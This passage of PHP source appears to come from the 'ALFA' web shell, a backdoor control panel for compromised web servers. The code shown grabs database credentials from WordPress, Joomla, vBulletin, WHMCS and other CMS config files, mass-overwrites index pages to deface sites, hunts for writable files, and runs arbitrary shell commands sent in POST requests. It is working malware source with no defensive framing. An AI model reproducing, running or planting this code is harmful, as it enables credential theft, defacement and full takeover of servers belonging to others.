            $icon = '<img class="archive-icons" src="' . findicon($file['name'], $file['type']) . '" width="30" height="30">';
            if ($file["type"] == "dir") {
                echo '<tr><th><a base_id="' . $base_id . '" class="archive-file-row" onclick="alfaOpenArchive(this);" path="' . $file["path"] . '" fname="' . $file["name"] . '">' . $icon . '<span class="archive-name archive-type-dir">| ' . $file["name"] . ' |</span></a><td>dir</td><td>' . $file["modify"] . '</td><td>-</td></tr>';
            } else {
                echo "<tr><th><a base_id='" . $base_id . "' class='archive-file-row' onclick=\"editor('" . $file["path"] . "','auto','','','','file');\">" . $icon . "<span class='archive-name archive-type-file' fname='" . $file["name"] . "'>" . $file["name"] . "</span></a><td>" . alfaSize($file["size"]) . "</td><td>" . $file["modify"] . "</td><td>-</td></tr>";
            }
        }
        echo "</table>";
    } catch (Exception $e) {
        echo "0";
    }
}
function alfaopen_archive_dir()
{
    $dir = $_POST["alfa1"];
    $base_id = $_POST["alfa2"];
    __alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Config Grabber |</div></p>";
    echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
    $dir = $_POST['alfa2'];
    $ext = $_POST['alfa3'];
    if ($_POST['alfa5'] == '>>') {
        echo __pre();
        Alfa_ConfigGrabber($dir, $ext);
    }
    echo "</div>";
    alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext)
{
    $pattern = "#define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
    $db_files = array("wp-config.php", "configure.php", "config.inc.php", "configuration.php", "config.php", "conf.php", "dbclass.php", "class_core.php", "dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
    if (@is_readable($dir)) {
        $globFiles = @glob("{$dir}/*.{$ext}");
        $globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
        $blacklist = array();
        foreach ($globDirs as $dir) {
            if (!@is_readable($dir) || @is_link($dir)) {
                continue;
            }
            @Alfa_ConfigGrabber($dir, $ext);
        }
        foreach ($globFiles as $file) {
            $filee = @file_get_contents($file);
            if (preg_match($pattern, $filee)) {
                echo "<div><span>{$file}</span> <a style='cursor:pointer;' onclick=\"editor('" . $file . "','auto','','','','file');\">[ View file ]</a></div>";
            }
        }
    }
}
function alfasearcher()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Searcher |</div></p><h3><a href=javascript:void(0) onclick=\"g('searcher',null,'file')\">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick=\"g('searcher',null,'str')\">| Find Files By Name | </a></h3></center>";
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'file') {
        echo '<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
        $dir = $_POST['alfa2'];
        $ext = $_POST['alfa3'];
        $method = $_POST['alfa4'];
        if ($_POST['alfa5'] == '>>') {
            echo __pre();
            if (substr($dir, -1) == '/') {
                $dir = substr($dir, 0, -1);
            }
            Alfa_Searcher($dir, trim($ext), $method);
        }
    }
    if ($_POST['alfa1'] == 'str') {
        echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="' . $GLOBALS['cwd'] . '">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
        $dir = $_POST['alfa2'];
        $string = $_POST['alfa3'];
        $ext = $_POST['alfa5'];
        if (!empty($string) and !empty($dir) and $_POST['alfa4'] == '>>') {
            echo __pre();
            Alfa_StrSearcher($dir, $string, $ext, $_POST['alfa6']);
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaMassDefacer()
{
    alfahead();
    AlfaNum(5, 6, 7, 8, 9, 10);
    echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
    echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
	DefPage: <input size="50" type="text" name="defpage" value="' . htmlspecialchars($GLOBALS['cwd']) . '"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
    $dir = $_POST['alfa1'];
    $defpage = $_POST['alfa2'];
    $method = $_POST['alfa3'];
    $fCurrent = $GLOBALS['__file_path'];
    if ($_POST['alfa4'] == '>>') {
        if (!empty($dir)) {
            if (@is_dir($dir)) {
                if (@is_readable($dir)) {
                    if (@is_file($defpage)) {
                        if ($dh = @opendir($dir)) {
                            echo __pre();
                            while (($file = @readdir($dh)) !== false) {
                                if ($file == '..' || $file == '.') {
                                    continue;
                                }
                                $newfile = $dir . $file;
                                if ($fCurrent == $newfile) {
                                    continue;
                                }
                                if (@is_dir($newfile)) {
                                    Alfa_ReadDir($newfile, $method, $defpage);
                                } else {
                                    if (!@is_writable($newfile)) {
                                        continue;
                                    }
                                    if (!@is_readable($newfile)) {
                                        continue;
                                    }
                                    Alfa_Rewriter($newfile, $file, $defpage, $method);
                                }
                            }
                            closedir($dh);
                        } else {
                            __alert('<font color="red">Error In OpenDir...</font>');
                        }
                    } else {
                        __alert('<font color="red">DefPage File NotFound...</font>');
                    }
                } else {
                    __alert('<font color="red">Directory is not Readable...</font>');
                }
            } else {
                __alert('<font color="red">Mass Dir is Invalid Dir...</font>');
            }
        } else {
            __alert('<font color="red">Dir is Empty...</font>');
        }
    }
    echo "</div>";
    alfafooter();
}
function Alfa_ReadDir($dir, $method = '', $defpage = '')
{
    if (!@is_readable($dir)) {
        return false;
    }
    if (@is_dir($dir)) {
        if ($dh = @opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == '..' || $file == '.') {
                    continue;
                }
                $newfile = $dir . '/' . $file;
                if (@is_readable($newfile) && @is_dir($newfile)) {
                    Alfa_ReadDir($newfile, $method, $defpage);
                }
                if (@is_file($newfile)) {
                    if (!@is_readable($newfile)) {
                        continue;
                    }
                    Alfa_Rewriter($newfile, $file, $defpage, $method);
                }
            }
            closedir($dh);
        }
    }
}
function Alfa_Rewriter($dir, $file, $defpage, $m = 'index')
{
    if (!@is_writable($dir)) {
        return false;
    }
    if (!@is_readable($dir)) {
        return false;
    }
    $defpage = @file_get_contents($defpage);
    if ($m == 'index') {
        $indexs = array('index.php', 'index.htm', 'index.html', 'default.asp', 'default.aspx', 'index.asp', 'index.aspx', 'index.js');
        if (in_array(strtolower($file), $indexs)) {
            @file_put_contents($dir, $defpage);
            echo @is_file($dir) ? $dir . "<b><font color='red'>DeFaced...</b></font><br>" : '';
        }
    } elseif ($m == 'all') {
        @file_put_contents($dir, $defpage);
        echo @is_file($dir) ? $dir . "  <b><font color='red'>DeFaced...</b></font><br>" : '';
    }
}
function alfaGetDisFunc()
{
    alfahead();
    echo "<div class=\"header\">";
    $disfun = @ini_get('disable_functions');
    $s = explode(',', $disfun);
    $f = array_unique($s);
    echo "<center><br><b><font color=\"#7CFC00\">Disable Functions</font></b><pre><table border=\"1\"><tr><td align=\"center\" style=\"background-color: green;color: white;width:5%\">#</td><td align=\"center\" style=\"background-color: green;color: white;\">Func Name</td></tr>";
    $i = 1;
    foreach ($f as $s) {
        $s = trim($s);
        if (function_exists($s) || !is_callable($s)) {
            continue;
        }
        echo '<tr><td align="center" style="background-color: black;">' . $i . '</td>';
        echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.' . str_replace('_', '-', $s) . '.php"><span class="disable_functions"><b>' . $s . '</b></span></a></td>';
        $i++;
    }
    echo "</table></center>";
    echo "</div>";
    alfafooter();
}
function Alfa_Create_A_Tag($action, $vals)
{
    $nulls = array();
    foreach ($vals as $key => $val) {
        echo '<a href=javascript:void(0) onclick="g(\'' . $action . '\',';
        for ($i = 1; $i <= $val[1] - 1; $i++) {
            $nulls[] = 'null';
        }
        $f = implode(',', $nulls);
        echo $f . ',\'' . $val[0] . '\');return false;">| ' . $key . ' | </a>';
        unset($nulls);
    }
}
function Alfa_Searcher($dir, $ext, $method)
{
    if (@is_readable($dir)) {
        if ($method == 'all') {
            $ext = '*';
        }
        if ($method == 'dirs') {
            $ext = '*';
        }
        $globFiles = @glob("{$dir}/*.{$ext}");
        $globDirs = @glob("{$dir}/*", GLOB_ONLYDIR);
        $blacklist = array();
        foreach ($globDirs as $dir) {
            if (!@is_readable($dir) || @is_link($dir)) {
                continue;
            }
            @Alfa_Searcher($dir, $ext, $method);
        }
        switch ($method) {
            case "files":
                foreach ($globFiles as $file) {
                    if (@is_writable($file)) {
                        echo "{$file}<br>";
                    }
                }
                break;
            case "dirs":
                foreach ($globFiles as $file) {
                    if (@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)) {
                        echo dirname($file) . '<br>';
                        $blacklist[] = dirname($file);
                    }
                }
                break;
            case "all":
                foreach ($globFiles as $file) {
                    echo $file . '<br>';
                }
                break;
        }
        unset($blacklist);
    }
}
function AlfaiFrameCreator($f, $width = '100%', $height = '600px')
{
    return "<iframe src=\"ALFA_DATA/" . $f . '" width="' . $width . '" height="' . $height . '" frameborder="0"></iframe>';
}
class AlfaCURL
{
    public $headers;
    public $user_agent;
    public $compression;
    public $cookie_file;
    public $proxy;
    public $path;
    public $ssl = true;
    public $curl_status = true;
    function __construct($cookies = false, $compression = 'gzip', $proxy = '')
    {
        if (!extension_loaded('curl')) {
            $curl_status = false;
            return false;
        }
        $this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
        $this->headers[] = 'Connection: Keep-Alive';
        $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
        $this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
        $this->path = "ALFA_TEMPDIR/Alfa_cookies.txt";
        $this->compression = $compression;
        $this->proxy = $proxy;
        $this->cookies = $cookies;
        if ($this->cookies) {
            $this->cookie($this->path);
        }
    }
    function cookie($cookie_file)
    {
        if (_alfa_file_exists($cookie_file, false)) {
            $this->cookie_file = $cookie_file;
        } else {
            @fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
            $this->cookie_file = $cookie_file;
            @fclose($this->cookie_file);
        }
    }
    function Send($url, $method = "get", $data = "")
    {
        if (!$this->curl_status) {
            return false;
        }
        $process = curl_init($url);
        curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
        curl_setopt($process, CURLOPT_HEADER, 0);
        curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
        curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($process, CURLOPT_ENCODING, $this->compression);
        curl_setopt($process, CURLOPT_TIMEOUT, 30);
        if ($this->ssl) {
            curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
        }
        if ($this->cookies) {
            curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
            curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
        }
        if ($this->proxy) {
            curl_setopt($process, CURLOPT_PROXY, $this->proxy);
        }
        if ($method == 'post') {
            curl_setopt($process, CURLOPT_POSTFIELDS, $data);
            curl_setopt($process, CURLOPT_POST, 1);
            curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
        }
        $return = @curl_exec($process);
        curl_close($process);
        return $return;
    }
    function error($error)
    {
        echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>{$error}</div></center>";
        die;
    }
}
function getConfigHtml($cms)
{
    $content = '';
    $cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke", "phpbb" => "PHPBB", "mybb" => "MyBB", "drupal" => "Drupal", "smf" => "SMF");
    $content = "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
    foreach ($cms_array as $key => $val) {
        $content .= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
    }
    $content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
    $content .= "</form>";
    return $content;
}
if (!function_exists('json_encode')) {
    function json_encode($a = false)
    {
        if (is_null($a)) {
            return "null";
        }
        if ($a === false) {
            return "false";
        }
        if ($a === true) {
            return "true";
        }
        if (is_scalar($a)) {
            if (is_float($a)) {
                return floatval(str_replace(",", ".", strval($a)));
            }
            if (is_string($a)) {
                static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\\"'));
                return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
            } else {
                return $a;
            }
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a)) {
            if (key($a) !== $i) {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList) {
            foreach ($a as $v) {
                $result[] = json_encode($v);
            }
            return '[' . join(',', $result) . ']';
        } else {
            foreach ($a as $k => $v) {
                $result[] = json_encode($k) . ':' . json_encode($v);
            }
            return '{' . join(',', $result) . '}';
        }
    }
}
if (!function_exists('json_decode')) {
    function json_decode($json, $array = true)
    {
        $comment = false;
        $out = '$x=';
        for ($i = 0; $i < strlen($json); $i++) {
            if (!$comment) {
                if ($json[$i] == '{' || $json[$i] == '[') {
                    $out .= ' array(';
                } else {
                    if ($json[$i] == '}' || $json[$i] == ']') {
                        $out .= ')';
                    } else {
                        if ($json[$i] == ':') {
                            $out .= '=>';
                        } else {
                            $out .= $json[$i];
                        }
                    }
                }
            } else {
                $out .= $json[$i];
            }
            if ($json[$i] == '"') {
                $comment = !$comment;
            }
        }
        eval($out . ';');
        return $x;
    }
}
function alfaterminalExec()
{
    $pwd = "pwd";
    $seperator = ";";
    if ($GLOBALS['sys'] != 'unix') {
        $pwd = "cd";
        $seperator = "&";
    }
    if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
        $cmd = "cd '" . addslashes($_POST["c"]) . "'" . $seperator;
    }
    $current_path = '';
    if (preg_match("/cd[ ]{0,}(.*)[ ]{0,}" . $seperator . "|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)) {
        if (empty($match[1])) {
            $match[1] = $match[2];
        }
        $current_path = alfaEx("cd " . addslashes($match[1]) . $seperator . $pwd);
        $current_path = str_replace("\\", "/", $current_path);
    }
    $out = alfaEx($cmd . $_POST['alfa1'], true);
    $out = htmlspecialchars($out);
    echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code)
{
    $dictionary = array('[01;30m' => '<span style="color:black">', '[01;31m' => '<span style="color:red">', '[01;32m' => '<span style="color:green">', '[01;33m' => '<span style="color:yellow">', '[01;34m' => '<span style="color:blue">', '[01;35m' => '<span style="color:purple">', '[01;36m' => '<span style="color:cyan">', '[01;37m' => '<span style="color:white">', '[0m' => '</span>');
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions()
{
    $chdir_fals = false;
    if (!@chdir($_POST['c'])) {
        $chdir_fals = true;
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
    }
    if (isset($_POST['alfa1'])) {
        $_POST['alfa1'] = rawurldecode($_POST['alfa1']);
    }
    if (isset($_POST['alfa2'])) {
        $_POST['alfa2'] = rawurldecode($_POST['alfa2']);
    }
    $action = $_POST["alfa3"];
    if ($action == "permission") {
        $perms = 0;
        $perm = $_POST["alfa2"];
        for ($i = strlen($perm) - 1; $i >= 0; --$i) {
            $perms += (int) $perm[$i] * pow(8, strlen($perm) - $i - 1);
        }
        if (@chmod($_POST['alfa1'], $perms)) {
            echo "done";
        } else {
            echo "no";
        }
        return;
    }
    if ($action == "rename" || $action == "move") {
        $alfa1_decoded = $_POST['alfa1'];
        if ($chdir_fals) {
            $_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
        }
        $_POST['alfa1'] = trim($_POST['alfa1']);
        $alfa1_escape = addslashes($_POST["alfa1"]);
        if ($_POST["alfa3"] == "rename") {
            $_POST['alfa2'] = basename($_POST['alfa2']);
        }
        if (!empty($_POST['alfa2'])) {
            $cmd_rename = false;
            if ($chdir_fals && $alfa_canruncmd) {
                if (_alfa_is_writable($_POST['alfa1'])) {
                    $cmd_rename = true;
                    $alfa1_escape = addslashes($alfa1_decoded);
                    alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa2']) . "'");
                }
            }
            if (!file_exists($_POST['alfa2'])) {
                if (@rename($_POST['alfa1'], $_POST['alfa2']) || $cmd_rename) {
                    echo "done";
                } else {
                    echo "no";
                }
            } else {
                echo "no";
            }
        }
    } elseif ($action == "copy") {
        if (is_dir($_POST["alfa1"])) {
            $dir = str_replace('//', '/', $_POST["alfa1"]);
            $dir = explode('/', $dir);
            if (empty($dir[count($dir) - 1])) {
                $name = $dir[count($dir) - 2];
            } else {
                $name = $dir[count($dir) - 1];
            }
        } else {
            $name = basename($_POST["alfa1"]);
        }
        $dir = dirname($_POST["alfa1"]);
        if ($dir == ".") {
            $dir = $_POST["c"] . "/";
        }
        if (is_file($_POST["alfa1"])) {
            @copy($_POST["alfa1"], $_POST["alfa2"]);
            echo "done";
        } elseif (is_dir($_POST["alfa1"])) {
            if (!is_dir($_POST["alfa2"])) {
                mkdir($_POST["alfa2"], 0755, true);
            }
            copy_paste($dir, $name, $_POST["alfa2"] . "/");
            echo "done";
        }
    } elseif ($action == "modify") {
        if (!empty($_POST['alfa1'])) {
            $time = strtotime($_POST['alfa1']);
            if ($time) {
                $touched = false;
                if ($chdir_fals && $alfa_canruncmd) {
                    alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa1'])) . "' '" . addslashes($_POST['alfa2']) . "'");
                    $touched = true;
                }
                if (!@touch($_POST['alfa2'], $time, $time) && !$touched) {
                    echo "no";
                } else {
                    echo "ok";
                }
            } else {
                echo "badtime";
            }
        }
    }
}
function alfaget_flags()
{
    $flags = array();
    if (function_exists("curl_version")) {
        $curl = new AlfaCURL();
        $server_addr = !@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"];
        $flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
        $flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
        if (strpos($flag2, "geoplugin") != false) {
            $flag = json_decode($flag, true);
            $flag2 = json_decode($flag2, true);
            if (!empty($flag['geoplugin_countryCode'])) {
                $flags["server"]["name"] = $flag['geoplugin_countryName'];
                $flags["server"]["code"] = $flag['geoplugin_countryCode'];
            }
            if (!empty($flag2['geoplugin_countryCode'])) {
                $flags["client"]["name"] = $flag2['geoplugin_countryName'];
                $flags["client"]["code"] = $flag2['geoplugin_countryCode'];
            }
        }
    }
    echo json_encode($flags);
}
function alfaGetConfig()
{
    $cms = $_POST['alfa1'];
    $path = trim($_POST['alfa2']);
    $config = array('wp' => array('file' => '/wp-config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1)), 'drupal' => array('file' => '/config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1)), 'drupal2' => array('file' => '/sites/default/settings.php', 'host' => array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbname' => array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbuser' => array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbpw' => array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'prefix' => array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1)), 'vb' => array('file' => '/includes/config.php', 'host' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")servername(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbuser' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")username(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbname' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")dbname(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbpw' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'prefix' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")tableprefix(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3)), 'phpnuke' => array('file' => '/config.php', 'host' => array('/dbhost(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbname' => array('/dbname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbuser' => array('/dbuname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbpw' => array('/dbpass(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'prefix' => array('/prefix(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3)), 'smf' => array('file' => '/Settings.php', 'host' => array("/db_server(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_passwd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/db_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'whmcs' => array('file' => '/configuration.php', 'host' => array("/db_host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_username(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'cc_encryption_hash' => array("/cc_encryption_hash(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'joomla' => array('file' => '/configuration.php', 'host' => array("/\\\$host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/\\\$db(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/\\\$user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/\\\$password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/\\\$dbprefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'phpbb' => array('file' => '/config.php', 'host' => array("/dbhost(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/dbname(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/dbuser(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/dbpasswd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/table_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'mybb' => array('file' => '/inc/config.php', 'host' => array("/config\\['database'\\]\\['hostname'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/config\\['database'\\]\\['database'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/config\\['database'\\]\\['username'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/config\\['database'\\]\\['password'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/config\\['database'\\]\\['table_prefix'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)));
    if ($cms == "drupal") {
        $file = $config[$cms]['file'];
        $file = $path . $file;
        if (@is_file($file) || _alfa_is_dir($file, "-e")) {
        } else {
            $cms = 'drupal2';
        }
    }
    if ($cms == "vb") {
        $file = $config[$cms]['file'];
        $file = $path . $file;
        if (@is_file($file) || _alfa_is_dir($file, "-e")) {
        } else {
            $path .= '/core';
        }
    }
    $data = array();
    $srch_host = $config[$cms]['host'][0];
    $srch_user = $config[$cms]['dbuser'][0];
    $srch_name = $config[$cms]['dbname'][0];
    $srch_pw = $config[$cms]['dbpw'][0];
    $prefix = $config[$cms]['prefix'][0];
    $file = $config[$cms]['file'];
